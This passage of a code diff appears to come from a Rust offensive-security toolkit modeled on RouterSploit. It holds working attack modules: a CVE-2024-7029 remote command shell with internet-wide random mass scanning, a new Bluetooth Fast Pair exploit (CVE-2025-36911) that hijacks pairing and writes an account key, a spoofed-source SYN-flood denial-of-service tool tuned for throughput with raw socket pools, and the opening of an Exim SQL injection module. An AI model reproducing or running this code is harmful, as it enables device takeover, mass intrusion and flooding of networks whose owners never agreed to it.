let with_scheme = if ip.starts_with("http://") || ip.starts_with("https://") {
|
||||
ip.to_string()
|
||||
} else {
|
||||
format!("http://{}", ip)
|
||||
};
|
||||
|
||||
let port = port.trim();
|
||||
if port.is_empty() {
|
||||
with_scheme
|
||||
} else if with_scheme.contains(':') {
|
||||
with_scheme // already has port
|
||||
} else {
|
||||
format!("{}:{}", with_scheme, port)
|
||||
}
|
||||
}
|
||||
|
||||
/// Check if the device is vulnerable to CVE-2024-7029
|
||||
async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
|
||||
@@ -81,17 +66,16 @@ async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
|
||||
|
||||
/// Interactive shell to send arbitrary commands
|
||||
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
|
||||
let stdin = tokio::io::stdin();
|
||||
let mut lines = tokio::io::BufReader::new(stdin).lines();
|
||||
let stdin = std::io::stdin();
|
||||
let mut lines = stdin.lock().lines();
|
||||
|
||||
println!("{}", "[+] Interactive shell started. Type 'exit' to quit.".green().bold());
|
||||
loop {
|
||||
print!("{}", "cve7029-shell> ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
if let Some(cmd) = lines.next_line().await? {
|
||||
if let Some(Ok(cmd)) = lines.next() {
|
||||
let cmd = cmd.trim();
|
||||
if cmd.eq_ignore_ascii_case("exit") {
|
||||
println!("{}", "[*] Exiting shell...".yellow());
|
||||
@@ -125,21 +109,7 @@ async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
|
||||
Ok(response.text().await?)
|
||||
}
|
||||
|
||||
/// Prompt user for a custom port number
|
||||
async fn prompt_port() -> Result<String> {
|
||||
print!("{}", format!("Enter port to use [default: {}]: ", DEFAULT_PORT).cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut port = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut port)
|
||||
.await
|
||||
.context("Failed to read port")?;
|
||||
let port = port.trim();
|
||||
Ok(if port.is_empty() { DEFAULT_PORT.to_string() } else { port.to_string() })
|
||||
}
|
||||
|
||||
|
||||
/// Quick vulnerability check for mass scanning
|
||||
async fn quick_check(client: &Client, ip: &str) -> bool {
|
||||
@@ -168,10 +138,19 @@ async fn run_mass_scan() -> Result<()> {
|
||||
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
|
||||
// Prompt for exclusions
|
||||
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
|
||||
std::io::stdout().flush()?;
|
||||
let mut excl_choice = String::new();
|
||||
std::io::stdin().read_line(&mut excl_choice)?;
|
||||
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
@@ -196,7 +175,7 @@ async fn run_mass_scan() -> Result<()> {
|
||||
});
|
||||
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.unwrap();
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let cl = client.clone();
|
||||
let chk = checked.clone();
|
||||
@@ -220,14 +199,14 @@ async fn run_mass_scan() -> Result<()> {
|
||||
|
||||
/// Entry point required for RouterSploit-inspired dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan().await
|
||||
} else {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
let port = prompt_port().await?;
|
||||
let port = prompt_port("Enter port to use", 80)?;
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
@@ -250,7 +229,15 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!();
|
||||
|
||||
for raw_ip in &targets {
|
||||
let url = normalize_url(raw_ip, &port);
|
||||
let scheme = if raw_ip.starts_with("https://") { "https" } else { "http" };
|
||||
let normalized = normalize_target(raw_ip)?;
|
||||
|
||||
let url = if normalized.contains("]:") || (normalized.contains(':') && !normalized.starts_with('[')) {
|
||||
format!("{}://{}", scheme, normalized)
|
||||
} else {
|
||||
format!("{}://{}:{}", scheme, normalized, port)
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Testing: {}", url).yellow());
|
||||
|
||||
if check_vuln(&client, &url).await? {
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
pub mod wpair;
|
||||
@@ -0,0 +1,232 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use btleplug::api::{Central, Manager as _, Peripheral as _, ScanFilter, WriteType};
|
||||
use btleplug::platform::{Adapter, Manager, Peripheral};
|
||||
use colored::*;
|
||||
use rand::Rng;
|
||||
use std::time::Duration;
|
||||
use tokio::time;
|
||||
use uuid::Uuid;
|
||||
use aes::Aes128;
|
||||
use cipher::{BlockEncrypt, KeyInit};
|
||||
use cipher::generic_array::GenericArray;
|
||||
|
||||
// Fast Pair Service and Characteristics
|
||||
const SERVICE_UUID: Uuid = Uuid::from_u128(0x0000fe2c_0000_1000_8000_00805f9b34fb);
|
||||
const MODEL_ID_UUID: Uuid = Uuid::from_u128(0xfe2c1233_8366_4814_8eb0_01de32100bea);
|
||||
const KEY_BASED_PAIRING_UUID: Uuid = Uuid::from_u128(0xfe2c1234_8366_4814_8eb0_01de32100bea);
|
||||
const PASSKEY_UUID: Uuid = Uuid::from_u128(0xfe2c1235_8366_4814_8eb0_01de32100bea);
|
||||
const ACCOUNT_KEY_UUID: Uuid = Uuid::from_u128(0xfe2c1236_8366_4814_8eb0_01de32100bea);
|
||||
|
||||
// Message types
|
||||
const MSG_KEY_BASED_PAIRING_REQUEST: u8 = 0x00;
|
||||
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
enum ExploitStrategy {
|
||||
RawKbp,
|
||||
RawWithSeeker,
|
||||
Retroactive,
|
||||
ExtendedResponse,
|
||||
}
|
||||
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
println!("{}", "=== Fast Pair (WPAir) Exploit ===".cyan().bold());
|
||||
println!("{}", "Exploits CVE-2025-36911 (Fast Pair 'Magic')".yellow());
|
||||
|
||||
// Initialize manager
|
||||
let manager = Manager::new().await?;
|
||||
let adapters = manager.adapters().await?;
|
||||
let adapter = adapters.into_iter().next().ok_or_else(|| anyhow!("No Bluetooth adapters found"))?;
|
||||
|
||||
// Scan
|
||||
let target_peripheral = scan_for_target(&adapter, 5).await?;
|
||||
|
||||
// Connect
|
||||
println!("Connecting to {}...", target_peripheral.address());
|
||||
target_peripheral.connect().await?;
|
||||
target_peripheral.discover_services().await?;
|
||||
|
||||
let strategies = [
|
||||
ExploitStrategy::RawKbp,
|
||||
ExploitStrategy::RawWithSeeker,
|
||||
ExploitStrategy::Retroactive,
|
||||
ExploitStrategy::ExtendedResponse
|
||||
];
|
||||
|
||||
// Seeker address (our address) - hardcoded dummy
|
||||
let seeker_address = vec![0x11, 0x22, 0x33, 0x44, 0x55, 0x66];
|
||||
|
||||
for strategy in strategies {
|
||||
if execute_strategy(&target_peripheral, strategy, &seeker_address).await? {
|
||||
break;
|
||||
}
|
||||
time::sleep(Duration::from_millis(500)).await;
|
||||
}
|
||||
|
||||
let _ = target_peripheral.disconnect().await;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn scan_for_target(adapter: &Adapter, duration_secs: u64) -> Result<Peripheral> {
|
||||
println!("{}", "Starting BLE scan for Fast Pair devices...".blue());
|
||||
|
||||
let filter = ScanFilter {
|
||||
services: vec![SERVICE_UUID],
|
||||
};
|
||||
adapter.start_scan(filter).await?;
|
||||
|
||||
time::sleep(Duration::from_secs(duration_secs)).await;
|
||||
|
||||
let peripherals = adapter.peripherals().await?;
|
||||
if peripherals.is_empty() {
|
||||
return Err(anyhow!("No Fast Pair devices found"));
|
||||
}
|
||||
|
||||
println!("{}", "\nFound devices:".green().bold());
|
||||
let mut valid_peripherals = Vec::new();
|
||||
|
||||
for (idx, p) in peripherals.iter().enumerate() {
|
||||
let properties = p.properties().await?;
|
||||
if let Some(props) = properties {
|
||||
let name = props.local_name.unwrap_or_else(|| "Unknown".to_string());
|
||||
let address = p.address();
|
||||
println!("{}: {} ({})", idx, name, address);
|
||||
valid_peripherals.push(p.clone());
|
||||
}
|
||||
}
|
||||
|
||||
if valid_peripherals.is_empty() {
|
||||
return Err(anyhow!("No reachable devices found after scan"));
|
||||
}
|
||||
|
||||
// Defaulting to first device for automation in this port
|
||||
println!("{}", "Selecting first device automatically...".yellow());
|
||||
Ok(valid_peripherals[0].clone())
|
||||
}
|
||||
|
||||
fn aes_encrypt(key: &[u8], data: &[u8]) -> Vec<u8> {
|
||||
let key = GenericArray::from_slice(&key[0..16]);
|
||||
let mut block = GenericArray::clone_from_slice(&data[0..16]);
|
||||
let cipher = Aes128::new(key);
|
||||
cipher.encrypt_block(&mut block);
|
||||
block.to_vec()
|
||||
}
|
||||
|
||||
fn build_kbp_request(strategy: ExploitStrategy, address_bytes: &[u8], seeker_address_bytes: &[u8]) -> (Vec<u8>, Vec<u8>) {
|
||||
let mut request = vec![0u8; 16];
|
||||
let mut shared_secret = vec![0u8; 16];
|
||||
let mut rng = rand::rng();
|
||||
|
||||
match strategy {
|
||||
ExploitStrategy::RawKbp => {
|
||||
let salt: [u8; 8] = rng.random();
|
||||
request[0] = MSG_KEY_BASED_PAIRING_REQUEST;
|
||||
request[1] = 0x11;
|
||||
request[2..8].copy_from_slice(&address_bytes[0..6]);
|
||||
request[8..16].copy_from_slice(&salt);
|
||||
|
||||
shared_secret[0..8].copy_from_slice(&salt);
|
||||
},
|
||||
ExploitStrategy::RawWithSeeker => {
|
||||
let salt: [u8; 2] = rng.random();
|
||||
request[0] = MSG_KEY_BASED_PAIRING_REQUEST;
|
||||
request[1] = 0x02;
|
||||
request[2..8].copy_from_slice(&address_bytes[0..6]);
|
||||
request[8..14].copy_from_slice(&seeker_address_bytes[0..6]);
|
||||
request[14..16].copy_from_slice(&salt);
|
||||
|
||||
let random_secret: [u8; 16] = rng.random();
|
||||
shared_secret.copy_from_slice(&random_secret);
|
||||
},
|
||||
ExploitStrategy::Retroactive => {
|
||||
let salt: [u8; 2] = rng.random();
|
||||
request[0] = MSG_KEY_BASED_PAIRING_REQUEST;
|
||||
request[1] = 0x0A;
|
||||
request[2..8].copy_from_slice(&address_bytes[0..6]);
|
||||
request[8..14].copy_from_slice(&seeker_address_bytes[0..6]);
|
||||
request[14..16].copy_from_slice(&salt);
|
||||
|
||||
let random_secret: [u8; 16] = rng.random();
|
||||
shared_secret.copy_from_slice(&random_secret);
|
||||
},
|
||||
ExploitStrategy::ExtendedResponse => {
|
||||
let salt: [u8; 8] = rng.random();
|
||||
request[0] = MSG_KEY_BASED_PAIRING_REQUEST;
|
||||
request[1] = 0x10;
|
||||
request[2..8].copy_from_slice(&address_bytes[0..6]);
|
||||
request[8..16].copy_from_slice(&salt);
|
||||
|
||||
shared_secret[0..8].copy_from_slice(&salt);
|
||||
}
|
||||
}
|
||||
|
||||
(request, shared_secret)
|
||||
}
|
||||
|
||||
async fn execute_strategy(peripheral: &Peripheral, strategy: ExploitStrategy, seeker_address: &[u8]) -> Result<bool> {
|
||||
let address = peripheral.address();
|
||||
let address_str = address.to_string();
|
||||
let address_bytes = mac_to_bytes(&address_str)?;
|
||||
|
||||
let (request, shared_secret) = build_kbp_request(strategy, &address_bytes, seeker_address);
|
||||
|
||||
println!("{}: {:?}", "Trying strategy".blue(), strategy);
|
||||
|
||||
let chars = peripheral.characteristics();
|
||||
|
||||
// Read Model ID to verify Fast Pair device
|
||||
if let Some(model_char) = chars.iter().find(|c| c.uuid == MODEL_ID_UUID) {
|
||||
println!("Found Model ID characteristic, reading...");
|
||||
if let Ok(model_data) = peripheral.read(model_char).await {
|
||||
println!("Model ID: {:02x?}", model_data);
|
||||
}
|
||||
}
|
||||
|
||||
let kbp_char = chars.iter().find(|c| c.uuid == KEY_BASED_PAIRING_UUID).ok_or(anyhow!("KBP Char not found"))?;
|
||||
|
||||
println!("Writing KBP request...");
|
||||
if let Err(e) = peripheral.write(kbp_char, &request, WriteType::WithoutResponse).await {
|
||||
println!("Write failed: {}", e);
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
time::sleep(Duration::from_millis(500)).await;
|
||||
|
||||
// Check for Passkey characteristic (used in some Fast Pair flows)
|
||||
if let Some(passkey_char) = chars.iter().find(|c| c.uuid == PASSKEY_UUID) {
|
||||
println!("Found Passkey characteristic, attempting passkey bypass...");
|
||||
// Send encrypted passkey response (0x02 = passkey seeker response)
|
||||
let mut passkey_block = vec![0u8; 16];
|
||||
passkey_block[0] = 0x02; // Passkey seeker message type
|
||||
let encrypted_passkey = aes_encrypt(&shared_secret, &passkey_block);
|
||||
let _ = peripheral.write(passkey_char, &encrypted_passkey, WriteType::WithoutResponse).await;
|
||||
}
|
||||
|
||||
println!("Attempting to write Account Key...");
|
||||
let account_key_char = chars.iter().find(|c| c.uuid == ACCOUNT_KEY_UUID);
|
||||
|
||||
if let Some(ak_char) = account_key_char {
|
||||
let mut account_key = vec![0u8; 16];
|
||||
account_key[0] = 0x04;
|
||||
let mut rng = rand::rng();
|
||||
rng.fill(&mut account_key[1..]);
|
||||
|
||||
let encrypted_ak = aes_encrypt(&shared_secret, &account_key);
|
||||
|
||||
if let Ok(_) = peripheral.write(ak_char, &encrypted_ak, WriteType::WithResponse).await {
|
||||
println!("{}", "Account Key Written Successfully! Device Exploited!".green().bold());
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
fn mac_to_bytes(mac: &str) -> Result<Vec<u8>> {
|
||||
let bytes: Vec<u8> = mac.split(':')
|
||||
.map(|s| u8::from_str_radix(s, 16))
|
||||
.collect::<Result<Vec<_>, _>>()?;
|
||||
if bytes.len() != 6 {
|
||||
return Err(anyhow!("Invalid MAC address length"));
|
||||
}
|
||||
Ok(bytes)
|
||||
}
|
||||
@@ -17,7 +17,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
// Determine target URL
|
||||
let raw_ip = if target.is_empty() {
|
||||
prompt_required("Target IP").await?
|
||||
prompt_required("Target IP")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
|
||||
@@ -31,6 +31,8 @@ struct ExhaustionConfig {
|
||||
duration_secs: u64,
|
||||
interval_mode: IntervalMode,
|
||||
payload_size: usize,
|
||||
socket_pool_size: usize,
|
||||
verbose: bool,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
@@ -61,7 +63,7 @@ async fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
|
||||
|
||||
// Target IP
|
||||
let target_input = if initial_target.trim().is_empty() {
|
||||
prompt_required("Target IP").await?
|
||||
prompt_required("Target IP")?
|
||||
} else {
|
||||
println!("{}", format!("[*] Using target: {}", initial_target).cyan());
|
||||
initial_target.to_string()
|
||||
@@ -72,10 +74,10 @@ async fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
|
||||
.map_err(|_| anyhow!("Target must be a valid IPv4 address (IPv6 not supported for raw packets)"))?;
|
||||
|
||||
// Target Port
|
||||
let target_port = prompt_port("Target port", 80).await?;
|
||||
let target_port = prompt_port("Target port", 80)?;
|
||||
|
||||
// Source Port (optional)
|
||||
let src_port_input = prompt_default("Source port (blank for random)", "").await?;
|
||||
let src_port_input = prompt_default("Source port (blank for random)", "")?;
|
||||
let source_port = if src_port_input.is_empty() {
|
||||
None
|
||||
} else {
|
||||
@@ -84,10 +86,10 @@ async fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
|
||||
};
|
||||
|
||||
// Random Source IP
|
||||
let use_random_source_ip = prompt_yes_no("Use random (spoofed) source IPs? (requires root)", false).await?;
|
||||
let use_random_source_ip = prompt_yes_no("Use random (spoofed) source IPs? (requires root)", false)?;
|
||||
|
||||
// Concurrent Streams
|
||||
let streams_input = prompt_default("Number of concurrent streams", "100").await?;
|
||||
let streams_input = prompt_default("Number of concurrent streams", "100")?;
|
||||
let concurrent_streams: usize = streams_input.parse()
|
||||
.map_err(|_| anyhow!("Invalid number"))?;
|
||||
|
||||
@@ -96,7 +98,7 @@ async fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
|
||||
}
|
||||
|
||||
// Duration
|
||||
let duration_input = prompt_required("Test duration (seconds)").await?;
|
||||
let duration_input = prompt_required("Test duration (seconds)")?;
|
||||
let duration_secs: u64 = duration_input.parse()
|
||||
.map_err(|_| anyhow!("Invalid duration"))?;
|
||||
|
||||
@@ -105,20 +107,39 @@ async fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
|
||||
}
|
||||
|
||||
// Interval Mode
|
||||
let zero_interval = prompt_yes_no("Use zero interval (max speed)?", true).await?;
|
||||
let zero_interval = prompt_yes_no("Use zero interval (max speed)?", true)?;
|
||||
let interval_mode = if zero_interval {
|
||||
IntervalMode::Zero
|
||||
} else {
|
||||
let delay_input = prompt_default("Delay between packets (ms)", "10").await?;
|
||||
let delay_input = prompt_default("Delay between packets (ms)", "10")?;
|
||||
let delay: u64 = delay_input.parse().map_err(|_| anyhow!("Invalid delay"))?;
|
||||
IntervalMode::Delay(delay)
|
||||
};
|
||||
|
||||
// Payload Size
|
||||
let payload_input = prompt_default("Null-byte payload size", "1024").await?;
|
||||
let payload_size: usize = payload_input.parse()
|
||||
let payload_input = prompt_default("Null-byte payload size", "1024")?;
|
||||
let mut payload_size: usize = payload_input.parse()
|
||||
.map_err(|_| anyhow!("Invalid payload size"))?;
|
||||
|
||||
// Cap payload size to prevent panic (65535 - 20 IP - 20 TCP = 65495)
|
||||
if payload_size > 65495 {
|
||||
println!("{}", "[!] Warning: Payload capped at 65495 bytes (IPv4 Max)".yellow());
|
||||
payload_size = 65495;
|
||||
}
|
||||
|
||||
|
||||
|
||||
let verbose = prompt_yes_no("Verbose output (print errors)?", false)?;
|
||||
|
||||
// Socket Pool Size
|
||||
let pool_input = prompt_default("Socket pool size (sharding)", "8")?;
|
||||
let mut socket_pool_size: usize = pool_input.parse()
|
||||
.map_err(|_| anyhow!("Invalid pool size"))?;
|
||||
|
||||
if socket_pool_size == 0 {
|
||||
socket_pool_size = 1;
|
||||
}
|
||||
|
||||
// Summary
|
||||
println!("\n{}", "=== Test Configuration ===".bold());
|
||||
println!(" Target: {}:{}", target_ip, target_port);
|
||||
@@ -128,8 +149,9 @@ async fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
|
||||
println!(" Duration: {}s", duration_secs);
|
||||
println!(" Interval: {:?}", interval_mode);
|
||||
println!(" Payload Size: {} bytes", payload_size);
|
||||
println!(" Socket Pool: {} sockets", socket_pool_size);
|
||||
|
||||
if !prompt_yes_no("\nProceed with test?", true).await? {
|
||||
if !prompt_yes_no("\nProceed with test?", true)? {
|
||||
return Err(anyhow!("Test cancelled by user"));
|
||||
}
|
||||
|
||||
@@ -142,6 +164,8 @@ async fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
|
||||
duration_secs,
|
||||
interval_mode,
|
||||
payload_size,
|
||||
socket_pool_size,
|
||||
verbose,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -182,6 +206,27 @@ async fn execute_exhaustion(config: &ExhaustionConfig) -> Result<()> {
|
||||
// Spawn worker streams
|
||||
let mut handles = Vec::new();
|
||||
|
||||
// Create a pool of shared raw sockets
|
||||
// This allows utilizing multiple kernel queues/locks while avoiding one-per-stream overhead
|
||||
let socket_pool_size = config.socket_pool_size;
|
||||
let mut sockets = Vec::with_capacity(socket_pool_size);
|
||||
|
||||
for _ in 0..socket_pool_size {
|
||||
let sock = Socket::new(
|
||||
Domain::IPV4,
|
||||
Type::RAW,
|
||||
Some(Protocol::from(libc::IPPROTO_RAW)),
|
||||
).context("Failed to create raw socket")?;
|
||||
|
||||
sock.set_header_included_v4(true)
|
||||
.context("Failed to set IP_HDRINCL")?;
|
||||
|
||||
sockets.push(Arc::new(sock));
|
||||
}
|
||||
|
||||
// Share the pool as Arc<Vec<Arc<Socket>>>? No, just clone from the Vec needed for each task.
|
||||
// We can just keep the Vec of Arcs.
|
||||
|
||||
for stream_id in 0..config.concurrent_streams {
|
||||
let config = config.clone();
|
||||
let sem = semaphore.clone();
|
||||
@@ -189,6 +234,9 @@ async fn execute_exhaustion(config: &ExhaustionConfig) -> Result<()> {
|
||||
let pkts = packets_sent.clone();
|
||||
let bts = bytes_sent.clone();
|
||||
|
||||
// Round-robin distribution of sockets from the pool
|
||||
let socket_shared = sockets[stream_id % socket_pool_size].clone();
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
// Acquire permit (blocks if too many concurrent)
|
||||
let _permit = match sem.acquire().await {
|
||||
@@ -196,10 +244,13 @@ async fn execute_exhaustion(config: &ExhaustionConfig) -> Result<()> {
|
||||
Err(_) => return,
|
||||
};
|
||||
|
||||
if let Err(e) = run_stream(stream_id, &config, stop, pkts, bts, start_time, duration).await {
|
||||
// Silently continue on errors (permission denied, etc.)
|
||||
if e.to_string().contains("Permission denied") || e.to_string().contains("EPERM") {
|
||||
if let Err(e) = run_stream(stream_id, &config, stop, pkts, bts, start_time, duration, socket_shared).await {
|
||||
// Check specifically for permissions
|
||||
let err_str = e.to_string();
|
||||
if err_str.contains("Permission denied") || err_str.contains("EPERM") || err_str.contains("Operation not permitted") {
|
||||
eprintln!("\n{}", "[!] Root privileges required for raw sockets. Run with sudo.".red().bold());
|
||||
} else if config.verbose {
|
||||
eprintln!("\n[!] Stream {} error: {}", stream_id, e);
|
||||
}
|
||||
}
|
||||
});
|
||||
@@ -242,20 +293,18 @@ async fn run_stream(
|
||||
bytes: Arc<AtomicU64>,
|
||||
start: Instant,
|
||||
duration: Duration,
|
||||
socket: Arc<Socket>,
|
||||
) -> Result<()> {
|
||||
// Create raw socket
|
||||
let socket = Socket::new(
|
||||
Domain::IPV4,
|
||||
Type::RAW,
|
||||
Some(Protocol::from(libc::IPPROTO_RAW)),
|
||||
).context("Failed to create raw socket")?;
|
||||
|
||||
socket.set_header_included_v4(true)
|
||||
.context("Failed to set IP_HDRINCL")?;
|
||||
|
||||
// Prepare null-byte payload
|
||||
let null_payload = vec![0u8; config.payload_size];
|
||||
// Pre-allocate buffer for Zero-Copy/Reuse
|
||||
// IP Header (20) + TCP Header (20) + Payload
|
||||
const IPV4_HEADER_LEN: usize = 20;
|
||||
const TCP_HEADER_LEN: usize = 20;
|
||||
let total_len = IPV4_HEADER_LEN + TCP_HEADER_LEN + config.payload_size;
|
||||
let mut packet_buffer = vec![0u8; total_len];
|
||||
|
||||
// Pre-fill null payload (it's always nulls, so just 0s which vec already is)
|
||||
// We only need to write headers dynamicially.
|
||||
|
||||
while !stop.load(Ordering::Relaxed) && start.elapsed() < duration {
|
||||
// Generate source IP
|
||||
let src_ip = if config.use_random_source_ip {
|
||||
@@ -270,13 +319,19 @@ async fn run_stream(
|
||||
});
|
||||
|
||||
// Craft and send SYN packet with null payload
|
||||
match send_syn_packet(&socket, src_ip, src_port, config.target_ip, config.target_port, &null_payload) {
|
||||
// Craft and send SYN packet using pre-allocated buffer
|
||||
match build_and_send_syn(&socket, src_ip, src_port, config.target_ip, config.target_port, &mut packet_buffer) {
|
||||
Ok(sent) => {
|
||||
packets.fetch_add(1, Ordering::Relaxed);
|
||||
bytes.fetch_add(sent as u64, Ordering::Relaxed);
|
||||
}
|
||||
Err(_) => {
|
||||
// Continue on errors
|
||||
Err(e) => {
|
||||
if config.verbose {
|
||||
// Reduce noise, only print occasional errors or if significant
|
||||
if rand::rng().random_bool(0.01) {
|
||||
eprintln!("\n[!] Send error: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -295,21 +350,31 @@ async fn run_stream(
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn send_syn_packet(
|
||||
fn build_and_send_syn(
|
||||
socket: &Socket,
|
||||
src_ip: Ipv4Addr,
|
||||
src_port: u16,
|
||||
dst_ip: Ipv4Addr,
|
||||
dst_port: u16,
|
||||
payload: &[u8],
|
||||
buffer: &mut [u8],
|
||||
) -> Result<usize> {
|
||||
// TCP header + payload
|
||||
let tcp_header_len = 20;
|
||||
let tcp_total_len = tcp_header_len + payload.len();
|
||||
let mut tcp_buf = vec![0u8; tcp_total_len];
|
||||
const IPV4_HEADER_LEN: usize = 20;
|
||||
// Buffer is already sized IP+TCP+Payload
|
||||
|
||||
// We split buffer into IP and TCP parts manually because MutableX structures wrap the whole slice usually
|
||||
// But pnet API is a bit specific. socket expects IP header + TCP header + Payload.
|
||||
|
||||
// 1. Construct TCP Header first (computationally) to compute checksum
|
||||
// Note: pnet's MutableTcpPacket expects a buffer of exact size? No.
|
||||
// We need to pointer arithmetic effectively.
|
||||
|
||||
let total_len = buffer.len();
|
||||
|
||||
// Slice for TCP part (IP header is first 20 bytes)
|
||||
let tcp_slice = &mut buffer[IPV4_HEADER_LEN..];
|
||||
|
||||
{
|
||||
let mut tcp_pkt = MutableTcpPacket::new(&mut tcp_buf[..tcp_header_len])
|
||||
let mut tcp_pkt = MutableTcpPacket::new(tcp_slice)
|
||||
.ok_or_else(|| anyhow!("Failed to create TCP packet"))?;
|
||||
|
||||
let seq_num: u32 = rand::rng().random();
|
||||
@@ -323,41 +388,46 @@ fn send_syn_packet(
|
||||
tcp_pkt.set_window(65535);
|
||||
tcp_pkt.set_urgent_ptr(0);
|
||||
|
||||
// Checksum (without payload for header)
|
||||
// Payload is already there (0s), effectively set by reuse.
|
||||
// We assume buffer was init with 0s.
|
||||
// If we wanted dynamic payload we'd copy it here.
|
||||
// For null-byte scan, it stays 0.
|
||||
|
||||
// Checksum
|
||||
let tcp_immutable = tcp_pkt.to_immutable();
|
||||
tcp_pkt.set_checksum(tcp::ipv4_checksum(&tcp_immutable, &src_ip, &dst_ip));
|
||||
let checksum = tcp::ipv4_checksum(&tcp_immutable, &src_ip, &dst_ip);
|
||||
tcp_pkt.set_checksum(checksum);
|
||||
}
|
||||
|
||||
// Copy payload after TCP header
|
||||
tcp_buf[tcp_header_len..].copy_from_slice(payload);
|
||||
|
||||
// IP header
|
||||
const IPV4_HEADER_LEN: usize = 20;
|
||||
let total_len = (IPV4_HEADER_LEN + tcp_total_len) as u16;
|
||||
let mut ip_buf = vec![0u8; total_len as usize];
|
||||
|
||||
// 2. Construct IP Header
|
||||
{
|
||||
let mut ip_pkt = MutableIpv4Packet::new(&mut ip_buf)
|
||||
// Wrap the whole buffer for IP packet
|
||||
let mut ip_pkt = MutableIpv4Packet::new(buffer)
|
||||
.ok_or_else(|| anyhow!("Failed to create IP packet"))?;
|
||||
|
||||
let ip_id: u16 = rand::rng().random();
|
||||
|
||||
ip_pkt.set_version(4);
|
||||
ip_pkt.set_header_length(5);
|
||||
ip_pkt.set_total_length(total_len);
|
||||
ip_pkt.set_total_length(total_len as u16);
|
||||
ip_pkt.set_identification(ip_id);
|
||||
ip_pkt.set_ttl(64);
|
||||
ip_pkt.set_next_level_protocol(IpNextHeaderProtocols::Tcp);
|
||||
ip_pkt.set_source(src_ip);
|
||||
ip_pkt.set_destination(dst_ip);
|
||||
ip_pkt.set_flags(ipv4::Ipv4Flags::DontFragment);
|
||||
ip_pkt.set_payload(&tcp_buf);
|
||||
|
||||
// Payload for IP packet is the TCP packet we just wrote?
|
||||
// MutableIpv4Packet doesn't overwrite payload unless we tell it to.
|
||||
// We just set headers.
|
||||
|
||||
ip_pkt.set_checksum(ipv4::checksum(&ip_pkt.to_immutable()));
|
||||
}
|
||||
|
||||
// Send
|
||||
let dst_addr = SocketAddr::new(IpAddr::V4(dst_ip), 0);
|
||||
let sent = socket.send_to(&ip_buf, &dst_addr.into())
|
||||
// socket is Arc<Socket> but Send works on &Socket
|
||||
let sent = socket.send_to(buffer, &dst_addr.into())
|
||||
.context("Failed to send packet")?;
|
||||
|
||||
Ok(sent)
|
||||
|
||||
@@ -4,7 +4,7 @@ use tokio::net::TcpStream;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use std::time::Duration;
|
||||
use tokio::time::Instant;
|
||||
use crate::utils::{prompt_required, normalize_target, prompt_default};
|
||||
use crate::utils::{prompt_required, normalize_target, prompt_port};
|
||||
|
||||
/// Exim ETRN SQL Injection (CVE-2025-26794)
|
||||
///
|
||||
@@ -15,15 +15,14 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
let raw_ip = if target.is_empty() {
|
||||
prompt_required("Target IP").await?
|
||||
prompt_required("Target IP")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
let target_ip = normalize_target(&raw_ip)?;
|
||||
|
||||
// User requested port selection. Default is 25.
|
||||
